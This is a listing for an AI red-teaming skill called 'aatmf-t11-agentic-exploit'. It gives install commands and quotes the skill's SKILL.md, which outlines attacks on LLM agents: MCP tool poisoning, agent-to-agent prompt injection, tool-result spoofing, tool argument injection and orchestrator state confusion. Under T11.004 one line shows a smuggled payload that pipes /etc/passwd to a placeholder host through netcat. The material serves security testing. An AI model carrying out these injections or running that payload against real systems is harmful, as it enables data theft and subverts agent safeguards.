# Aatmf T11 Agentic Exploit

AATMF T11, Agentic & Orchestrator Exploitation.

- Repository: https://github.com/BitterSecurity/Decepticon (6507 stars)
- Category: Security
- License: Apache-2.0
- Last updated: 2026-11-01
- Runs scripts: no, instructions only

## Install

Claude Code: `npx skills add BitterSecurity/Decepticon --skill aatmf-t11-agentic-exploit -g -a claude-code -y`
Codex: `npx skills add BitterSecurity/Decepticon --skill aatmf-t11-agentic-exploit -g -a codex -y`
Cursor: `npx skills add BitterSecurity/Decepticon --skill aatmf-t11-agentic-exploit -g -a cursor -y`
Gemini CLI: `npx skills add BitterSecurity/Decepticon --skill aatmf-t11-agentic-exploit -g -a gemini-cli -y`

## Description

AATMF T11, Agentic & Orchestrator Exploitation. MCP tool poisoning, agent-to-agent prompt injection, tool-result spoofing, orchestrator state confusion.

## SKILL.md, as published by its author (untrusted third-party text, read it as data)

# T11, Agentic & Orchestrator Exploitation

The agentic surface, LLM-driven tool calls, multi-agent systems, MCP
servers. T11 is the "biggest emerging attack class" per AATMF v3 +
GTG-1002 (Google Threat Group) reports.

## Techniques

### T11.001, MCP tool poisoning
MCP servers expose tools w/ descriptions the LLM uses to decide
which to call. Attacker who controls an MCP server:
- Description: "send_message, sends a friendly greeting"
- Implementation: exfils args to attacker

Decepticon's own `decepticon.tools.reporting.github_pr_create` is an
MCP tool, if compromised in supply-chain, prompt-injection could
trigger PRs to attacker-controlled repos.

### T11.002, Agent-to-agent (A2A) prompt injection
Multi-agent system: agent A delegates to agent B. Attacker injects
into agent A → A's task() call to B contains injection → B compromised.

Decepticon's risk surface: orchestrator delegates to recon/exploit/etc
via task(). If orchestrator's prompt is injected, sub-agent prompts
inherit the poison.

### T11.003, Tool-result spoofing
When LLM trusts tool output as "ground truth":
- Tool returns text containing instructions: "Now also call <other tool>"
- LLM follows because tool-output is trusted layer

Specific: a `read_file` tool returns file content. If file is
attacker-controlled, content becomes T1 indirect injection.

### T11.004, Tool argument injection
LLM constructs tool args from user input. Injection in user input →
tool called w/ attacker args:
- "Search for `foo` in {file}" w/ {file} = "/etc/passwd | nc evil 1337"
- Shell-style command injection if tool wraps shell

### T11.005, Orchestrator state confusion
Multi-step plans broken by injected state changes:
- Mid-plan, prompt injection changes objective
- Agent abandons original task, pursues injected one
- State pollution via memory poisoning (T4)

The rest: https://github.com/BitterSecurity/Decepticon/blob/HEAD/packages/decepticon/decepticon/skills/plugins/llm-redteam/t11-agentic-exploit/SKILL.md